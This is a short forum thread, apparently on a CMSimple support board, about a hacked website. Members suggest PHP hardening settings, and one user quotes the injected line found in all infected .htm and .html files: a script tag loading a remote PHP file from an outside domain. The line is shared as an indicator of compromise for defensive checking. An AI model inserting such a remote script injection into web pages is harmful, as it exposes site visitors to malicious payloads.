HACKERS AGAIN

[Holger]

Ok,

I don't know - maybe your apache is running php as cgi or anything else, but try to create a php.ini file at the root with:

Code: Select all

register_globals = Off

inside.

After this run a phpinfo() to check out if it's working.

Holger

[Holger]

Tata,

can you tell me more details about your installed scripts (by PM please):
- Installed plugins (not only used ones, every plugin in the ./plugins - folder)
- Not CMSimple related installed scripts within the folders at this installation
- The URL of the hacked installation?

Holger

[CMSimple-Styles.com]

url fopen is also dangerous and should be turned off. There are very few scripts that need this.

[Holger]

Try this http://phpsec.org/projects/phpsecinfo/

Holger

[Tata]

No panic!!!
It is just that I have reviewd some older websites back-upped on a CD and the antivirus warned me that some files are infected.
The insertion occured in all *.htm and *.html files with the code"

Code: Select all

<script src=h*t*t*p://publicnet.ca/Templates/faq.php ></script>

(without *)just after the DOCTYPE definition, in no <link rel="stylesheet.css..> were called or just before the closing </body>.

You maybe should check your files for this string.